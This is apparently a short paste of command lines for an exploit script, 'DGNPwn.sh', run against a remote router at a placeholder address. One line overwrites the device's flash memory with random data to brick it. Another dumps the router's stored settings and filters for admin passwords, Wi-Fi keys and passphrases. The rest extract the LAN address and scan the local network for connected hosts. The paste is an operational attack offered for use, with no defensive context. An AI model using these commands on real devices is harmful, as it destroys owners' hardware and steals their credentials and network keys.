SHOW:
|
|
- or go back to the newest paste.
1 | ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "cat /dev/urandom > /dev/mtd0& sleep 1; killall cat && reboot" # brick the device | |
2 | ||
3 | ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "nvram show" | grep --color 'lan_ipaddr\|http_username\|http_password\|ddns\|wifi_ssid\|wifi_key\|mail\|log_\|fw_services=\|fw_in_rules\|fw_out_rules\|wsc_device_pin\|_psk\|_pwd\|passphrase\|pwnd' # show infos about the device | |
4 | ||
5 | $previous_command | head -1 | awk -F\= '{gsub(/"/,"",$2);print $2}' # print lan address | |
6 | ||
7 | ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "nbtscan 192.168.0.0-255" # shows the devices connected to the LAN. edit the LAN segment accordingly |